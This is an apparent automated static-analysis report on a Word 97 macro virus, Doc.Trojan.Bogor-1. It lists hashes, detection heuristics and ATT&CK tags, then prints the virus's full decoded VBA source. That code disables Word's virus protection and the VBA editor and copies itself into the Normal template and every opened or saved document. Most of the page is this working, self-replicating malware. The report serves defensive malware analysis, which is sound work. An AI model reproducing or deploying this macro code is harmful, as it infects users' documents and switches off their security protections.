Doc.Trojan.Bogor-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 b52b0aee5a283f08…

MALICIOUS

Office (OLE)

47.0 KB Created: 1999-10-22 06:25:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-20
MD5: 267dcdc055945bdc39c05d230aa90880 SHA-1: cb2528efcad343477450443f0453b4560ab5586d SHA-256: b52b0aee5a283f083d764511c03e21074a0a0aaf2e7948cdb035018315965b32
248 Risk Score

Malware Insights

Doc.Trojan.Bogor-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits critical heuristic firings for VBA macro virus replication and AV tampering, along with legacy WordBasic markers. The extracted VBA script, named 'IPBBogor', contains subroutines like 'CyInit' which explicitly disables macro security features and attempts to manipulate the VBA project code. This strongly suggests a malicious macro designed to execute arbitrary code and potentially spread.

Heuristics 5

  • ClamAV: Doc.Trojan.Bogor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bogor-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
          Application.OrganizerCopy Source:=AD.FullName, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7745 bytes
SHA-256: ae5b2a3a391d1592ef2799a78b7a1de6a26c693805e2ea438715e9ce09126685
Detection
ClamAV: Doc.Trojan.Bogor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "IPBBogor"
Public AlAsal
Public DokSave
Public Norok
Public Dokok
Sub CyInit()
Attribute CyInit.VB_Description = "Bogor Agriculture University"
Attribute CyInit.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.CyInit"
    AlAsal = Application.DisplayAlerts
    Application.DisplayAlerts = wdAlertsNone
    Call Tahan
    WordBasic.DisableAutoMacros 0
    CommandBars("Visual Basic").Visible = False
    CommandBars("Visual Basic").Enabled = False
    CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
    CommandBars("Visual Basic").Protection = msoBarNoCustomize
    On Error Resume Next
    CommandBars("Tools").Controls("Macro").Delete
    CustomizationContext = NormalTemplate
    FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
    FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
    On Error GoTo 0
End Sub
Sub CyClose()
Attribute CyClose.VB_Description = "Bogor Agriculture University"
Attribute CyClose.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.CyClose"
Application.DisplayAlerts = AlAsal
End Sub
Sub Dok2Nor()
Attribute Dok2Nor.VB_Description = "Bogor Agriculture University"
Attribute Dok2Nor.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.Dok2Nor"
    Call Tahan
    On Error GoTo Erw1
    Norok = False
    Set AD = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Erh1a
    For i = 1 To NT.VBProject.VBComponents.Count
      NMacr = NT.VBProject.VBComponents(i).Name
      If NMacr = "IPBBogor" Then Norok = True
      If (NMacr <> "IPBBogor") And (NMacr <> "ThisDocument") Then
        Application.OrganizerDelete Source:=NT.FullName, _
            Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
    Next i
Erh1a:
    If Norok = False Then
      On Error GoTo Erh1
      Application.OrganizerCopy Source:=AD.FullName, _
          Destination:=NT.FullName, Name:= _
          "IPBBogor", Object:=wdOrganizerObjectProjectItems
      Templates(NT.FullName).Save
Erh1:
    End If
Erw1:
End Sub
Sub Nor2Dok()
Attribute Nor2Dok.VB_Description = "Bogor Agriculture University"
Attribute Nor2Dok.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.Nor2Dok"
    On Error GoTo Erw2
    DokSave = 0
    Dokok = False
    Set AD = ActiveDocument
    Set NT = NormalTemplate
    On Error GoTo Erh2a
    For i = 1 To AD.VBProject.VBComponents.Count
      NMacr = AD.VBProject.VBComponents(i).Name
      If NMacr = "IPBBogor" Then Dokok = True
      NMacr = NT.VBProject.VBComponents(i).Name
      If NMacr = "IPBBogor" Then Dokok = True
      If (NMacr <> "IPBBogor") And (NMacr <> "ThisDocument") And (NMacr <> "Reference to Normal") Then
        Application.OrganizerDelete Source:=AD.FullName, _
          Name:=NMacr, Object:=wdOrganizerObjectProjectItems
      End If
    Next i
Erh2a:
    If Dokok = False Then
      On Error GoTo Erh2
      Application.OrganizerCopy Source:=NT.FullName, _
          Destination:=AD.FullName, Name:= _
          "IPBBogor", Object:=wdOrganizerObjectProjectItems
      DokSave = 1
Erh2:
    End If
Erw2:
End Sub
Sub Cyber()
Attribute Cyber.VB_Description = "Bogor Agriculture University"
Attribute Cyber.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.Cyber"
    Call CyInit
    Call Dok2Nor
    Call CyClose
End Sub
Sub Tahan()
Attribute Tahan.VB_Description = "Bogor Agriculture University"
Attribute Tahan.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.Tahan"
    With Options
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
End Sub
Sub Simpan()
Attribute Simpan.VB_Description = "Bogor Agriculture University"
Attribute Simpan.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.Simpan"
    On Error GoTo Erh4
Set AD = ActiveDocument
    If DokSave = 1 Then
       AD.SaveAs FileName:=AD.Name, FileFormat:=wdFormatDocument
    End If
Erh4:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Bogor Agriculture University"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.AutoOpen"
    Call Cyber
End Sub
Sub FileClose()
Attribute FileClose.VB_Description = "Bogor Agriculture University"
Attribute FileClose.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.FileClose"
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    WordBasic.FileClose
End Sub
Sub FileOpen()
Attribute FileOpen.VB_Description = "Bogor Agriculture University"
Attribute FileOpen.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.FileOpen"
    Call Cyber
    Dialogs(wdDialogFileOpen).Show
    Call CyInit
    Call Nor2Dok
    Call Simpan
    Call CyClose
End Sub
Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Bogor Agriculture University"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.FileSaveAs"
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FileSave()
Attribute FileSave.VB_Description = "Bogor Agriculture University"
Attribute FileSave.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.FileSave"
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    Call CyClose
    On Error GoTo Errh1
    If ActiveDocument.Saved = False Then ActiveDocument.Save
Errh1:
End Sub
Sub HelpAbout()
Attribute HelpAbout.VB_Description = "Bogor Agriculture University"
Attribute HelpAbout.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.HelpAbout"
    On Error GoTo Erw3
    MsgBox "Reformasi, YES!", 48
    Help wdHelpAbout
Erw3:
End Sub
Sub FileExit()
Attribute FileExit.VB_Description = "Bogor Agriculture University"
Attribute FileExit.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.FileExit"
    Call CyInit
    Call Dok2Nor
    Call Nor2Dok
    On Error GoTo Erw4
Erw4:
    Call CyClose
    WordBasic.FileExit
End Sub
Sub ToolsOptions()
Attribute ToolsOptions.VB_Description = "Bogor Agriculture University"
Attribute ToolsOptions.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.ToolsOptions"
    Dialogs(wdDialogToolsOptions).Show
    Call Cyber
End Sub
Sub FileNew()
Attribute FileNew.VB_Description = "Bogor Agriculture University"
Attribute FileNew.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.FileNew"
    Call Cyber
    Dialogs(wdDialogFileNew).Show
End Sub
Sub FileTemplates()
Attribute FileTemplates.VB_Description = "Bogor Agriculture University"
Attribute FileTemplates.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.FileTemplates"
    Call Cyber
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Bogor Agriculture University"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.ToolsMacro"
    Call Cyber
End Sub
Sub ToolsCustomize()
Attribute ToolsCustomize.VB_Description = "Bogor Agriculture University"
Attribute ToolsCustomize.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.ToolsCustomize"
    Call Cyber
End Sub
Sub ToolsCustomizeKeyboard()
Attribute ToolsCustomizeKeyboard.VB_Description = "Bogor Agriculture University"
Attribute ToolsCustomizeKeyboard.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.ToolsCustomizeKeyboard"
    Call Cyber
End Sub
Sub ViewVBCode()
Attribute ViewVBCode.VB_Description = "Bogor Agriculture University"
Attribute ViewVBCode.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.ViewVBCode"
    Call Cyber
End Sub
Sub Organizer()
Attribute Organizer.VB_Description = "Bogor Agriculture University"
Attribute Organizer.VB_ProcData.VB_Invoke_Func = "Normal.IPBBogor.Organizer"
End Sub

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